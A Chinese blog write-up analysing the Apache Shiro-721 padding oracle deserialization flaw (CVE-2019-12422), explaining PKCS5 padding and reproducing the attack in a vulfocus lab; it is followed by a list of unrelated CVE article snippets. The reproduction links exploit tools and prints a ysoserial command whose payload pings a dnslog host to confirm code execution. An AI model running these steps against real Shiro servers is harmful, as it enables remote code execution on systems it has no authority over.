- VisualStudio2022插件的安装及使用-编程手把手系列文章
- pprof-在现网场景怎么用
- C#实现的下拉多选框,下拉多选树,多级节点
- 【学习笔记】基础数据结构:猫树
本文基于shiro550漏洞基础上分析,建议先看上期内容: https://blog.csdn.net/weixin_60521036/article/details/142373353 。
网上看了很多,感觉写的对我们这种对密码学不敏感的人来说非常不友好,毕竟不是所有术语都能看懂,所以我总结了一下Padding Oracle Attack 的攻击原理.
padding有很多种方式,shiro使用了PKCS5的填充方式: 如下图所示(找规律能找出来么?): 意思就是: 约定 :*表示任意数据,每个数据块为8字节。 当你数据为 ** ** ** ** ** ** ** ,7字节差一字节成一块,那么为了保持数据一块一块的,就需要填充一个数据,该数据根据PKCS5规则,因为差一个字节,所以填充01。 上图中接着填充 02 02 的意思就是他有6字节数据 ** ** ** ** ** ** ,还差俩字节,所以用02 02来填充,02数值是告诉你差多少字节,而填充的字节个数和数值是一样的。(是不是有点摸着门道了?) 解释到这规律应该能看出来了,不用再过多理解.
ps:补充,当你刚好8字节满了的时候,就给你另外开一个数据块填充:(如下所示) ** ** ** ** ** ** ** ** 08 08 08 08 08 08 08 08 。
首先我们需要知道怎么判断我们padding数据正确: 在验证 Padding 失败时的返回信息应该不同,其中 PKCS5Padding#unpad 方法对数据的填充格式进行判断,有问题会返回 -1; 。
当返回值小于0时,CipherCore#doFinal 方法会抛出BadPaddingException 异常; 。
接着 JcaCipherService#crypt 方法、AbstractRememberMeManager#getRememberedPrincipals 方法均返回异常,而且AbstractRememberMeManager#getRememberedPrincipals方法还好调用onRememberedPrincipalFailure 移除 rememberMe cookie并添加 deleteMe.
这里只需要知道若攻击失败了就会返回deleteMe 。
这个padding攻击涉及的东西好多,本人实在是无法解释清楚,比如参考文章中有写:前一块密文是后一块密文的IV,通过异或中间值,得到明文,这个也是一个重要信息,但是本篇文章主要解释漏洞的发生最主要的原因,就不去深究更多的加解密的攻击.
原理其实很简单,shiro解决了密钥硬编码问题后,使用了AES-CBC加密方式,也就是说其他加解密过程没有变,但是漏洞的原因是因为加密能够被Padding Oracle Attack ,也就是说我们不用找到密钥就能够直接修改rememberMe字段,而这里需要注意的细节就是: 需要通过已知 RememberMe 密文 使用 Padding Oracle Attack 一点点爆破来达到篡改和构造恶意的反序列化密文来触发反序列化漏洞。 这也说明了为啥一定要有合法通过认证的cookie才能进行攻击,因为你要走到让他padding的那一步需要合法的身份认证 。
不知各位道友搞懂了没,总之我的看法就是: 因为加密算法可被攻击的原因导致可爆破解密后篡改数据就这么简单的理解即可.
偷个懒直接看我之前的文章shiro550 的源码分析即可 https://blog.csdn.net/weixin_60521036/article/details/142373353 721主要的解密过程没有变,只要你成功padding进去了,就能走到反序列化那一步,个人感觉不用理解那么透彻,本身这个漏洞也挺鸡肋,需要登陆成功的身份认证cookie才能攻击。 看下面的调用栈就知道和shiro550是一样的了,就是加解密那块改了.
使用vulfocus靶场复现 。
话不多说,直接上最快捷的道具,后面再讲解另外一种抓包方式的攻击 下面这个工具在shiro550也能用,雀氏挺牛13的: https://github.com/SummerSec/ShiroAttack2 。
接着直接爆破利用链即可 。
直接就能执行命令了 。
登录记得勾选Remember Me 抓包放包,如果你密码正确,那么就会返回一个rememberMe字段的cookie,接着就是使用该cookie进行padding攻击了.
首先使用Java反序列化工具 ysoserial 生成 Payload: java -jar ysoserial.jar CommonsBeanutils1 "ping 9ck71c.dnslog.cn" > payload.class 。
通过 Padding Oracle Attack 生成 Evil Rememberme cookie: https://github.com/inspiringz/Shiro-721 # 暴破AES密钥的脚本 。
注意: 此 exp 爆破时间较长,建议使用 ysoserial 生成较短的 payload 验证(eg: ping 、 touch /tmp/success, etc),约 1 个多小时可生成正确的 rememberme cookie,生成成功后将自动停止运行.
使用你刚刚用cookie生成的payload.class 。
漫长等待后,拿到pad数据后直接丢到cookie上面 接着看你自己的dnslog日志即可查看是否攻击成功了 .
参考文章: https://xz.aliyun.com/t/11633 https://www.anquanke.com/post/id/193165 。
最后此篇关于Shiro-721—漏洞分析(CVE-2019-12422)的文章就讲到这里了,如果你想了解更多关于Shiro-721—漏洞分析(CVE-2019-12422)的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
Couchdb-权限绕过--命令执行--(CVE-2017-12635)&&(CVE-2017-12636)--H2database命令执行--(CVE-2022-23221)
https://nvd.nist.gov/vuln/detail/CVE-2018-2783表示“适用于 Java 的客户端和服务器部署。可以通过沙盒 Java Web Start 应用程序和沙盒 J
如题所示 我找不到关于这个漏洞的详细解释 不胜感激 查看链接了解更多信息 https://cordova.apache.org/announcements/2016/04/27/security.ht
鉴于最近发现的允许在 7.0.0 到 7.0.79 版本中远程执行代码的 Tomcat 漏洞(CVE-2017-12615 和 CVE-2017-12616),对 WSO2 IS 用户有什么建议? W
Tomcat--文件上传--文件包含--(CVE-2017-12615)&&(CVE-2020-1938) 复现环境 采用Vulfocus靶场环境进行复现,搭建操作和文章
关于https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/中的“spring4shell”漏洞。有谁知道这个漏洞是否影响 JFrog
关于https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/中的“spring4shell”漏洞。有谁知道这个漏洞是否影响 JFrog
我想解决我项目中的每个 CVE 问题。我正在使用 org.owasp.dependencycheck 插件,但即使在一个空项目上它也返回几个 CVE: bcprov-jdk15on-1.56.jar:
1.漏洞介绍。 Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持 Java 消息服务,集群,Spring Framework 等。
1.背景介绍。 ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和
前言 Active Directory 域服务,是一种目录服务,提供了存储目录数据信息以及用户相关的一些密码,电话号码等等一些数据信息,且可让用户和管理员使用这些数据,有利于域管理员对用户
log4j2 JNDI注入漏洞(CVE-2021-44228) 概述 本文非常详细的从头到尾debug了CVE-2021-44228漏洞的利用过程,喜欢的师傅记得点个推荐~ Apache Log
本文分享自华为云社区《CVE-2021-3129 分析》,作者:Xuuuu 。 CVE-2021-3129 Tag: php phar | php deserialize Env搭建 VulEnv/l
我对正则表达式的概念很陌生,所以我希望专家用户可以帮助我制作正确的表达式来查找字符串中的所有匹配项。我有一个字符串,其中包含许多漏洞数据的支持信息。在该字符串中是一系列格式为 CVE-2015-400
我正在 Azure Graph Explorer 中运行以下 KQL 查询 securityresources | where type == "microsoft.security/assessme
CVE 补丁 描述指出: Linux内核到4.6.3为止的security/keys/key.c中的key_reject_and_link函数并不能确保某个数据结构被初始化,这使得本地用户通过涉及精心
我想对一些服务器进行测试,看看它们是否容易受到 CVE 数据库 (cve.mitre.org) 中的一系列漏洞的攻击。我可以访问服务器,所以我可以知道所有已安装软件包的版本号。我是使用 CVE 数据库
前言 SQL注入的原理是对web请求,表单或域名等提交查询的字符串没有进行安全检测过滤,攻击者可以拼接执行恶意SQL命令,导致用户数据泄露 。 漏洞原理 Django 组件存在
目录 Log4j2漏洞原理 漏洞根因 调用链源码分析 调用链总结 漏洞复现 dn
本文分享自华为云社区《CVE-2022-22965 漏洞分析》,作者:Xuuuu。 CVE-2022-22965 A Spring MVC or Spring WebFlux application
我是一名优秀的程序员,十分优秀!